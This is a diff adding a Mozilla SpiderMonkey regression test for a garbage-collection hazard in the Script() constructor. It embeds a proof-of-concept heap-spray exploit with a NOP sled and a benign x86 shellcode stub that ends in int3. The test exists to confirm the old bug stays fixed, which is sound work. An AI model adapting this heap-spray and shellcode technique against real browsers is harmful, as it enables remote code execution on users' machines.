The Tor Browser / file diff

     1.1 --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
     1.2 +++ b/js/src/tests/js1_5/extensions/regress-338804-01.js	Wed Dec 31 06:09:35 2014 +0100
     1.3 @@ -0,0 +1,69 @@
     1.4 +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
     1.5 +/* This Source Code Form is subject to the terms of the Mozilla Public
     1.6 + * License, v. 2.0. If a copy of the MPL was not distributed with this
     1.7 + * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
     1.8 +
     1.9 +//-----------------------------------------------------------------------------
    1.10 +var BUGNUMBER = 338804;
    1.11 +var summary = 'GC hazards in constructor functions';
    1.12 +var actual = 'No Crash';
    1.13 +var expect = 'No Crash';
    1.14 +
    1.15 +printBugNumber(BUGNUMBER);
    1.16 +printStatus (summary);
    1.17 +printStatus ('Uses Intel Assembly');
    1.18 +
    1.19 +// <script>
    1.20 +// SpiderMonkey Script() GC hazard exploit
    1.21 +//
    1.22 +// scale: magic number ;-)
    1.23 +//  BonEcho/2.0a2: 3000
    1.24 +//  Firefox/1.5.0.4: 2000
    1.25 +//
    1.26 +var rooter, scale = 3000;
    1.27 +
    1.28 +/*
    1.29 +  if(typeof(setTimeout) != "undefined") {
    1.30 +  setTimeout(exploit, 2000);
    1.31 +  } else {
    1.32 +  exploit();
    1.33 +  }
    1.34 +*/
    1.35 +
    1.36 +function exploit() {
    1.37 +  if (typeof Script == 'undefined')
    1.38 +  {
    1.39 +    print('Test skipped. Script not defined.');
    1.40 +  }
    1.41 +  else
    1.42 +  {
    1.43 +    Script({ toString: fillHeap });
    1.44 +    Script({ toString: fillHeap });
    1.45 +  }
    1.46 +}
    1.47 +
    1.48 +function createPayload() {
    1.49 +  var result = "\u9090", i;
    1.50 +  for(i = 0; i < 9; i++) {
    1.51 +    result += result;
    1.52 +  }
    1.53 +  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
    1.54 +  result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
    1.55 +  return result;
    1.56 +}
    1.57 +
    1.58 +function fillHeap() {
    1.59 +  rooter = [];
    1.60 +  var payload = createPayload(), block = "", s2 = scale * 2, i;
    1.61 +  for(i = 0; i < scale; i++) {
    1.62 +    rooter[i] = block = block + payload;
    1.63 +  }
    1.64 +  for(; i < s2; i++) {
    1.65 +    rooter[i] = payload + i;
    1.66 +  }
    1.67 +  return "";
    1.68 +}
    1.69 +
    1.70 +// </script>
    1.71 + 
    1.72 +reportCompare(expect, actual, summary);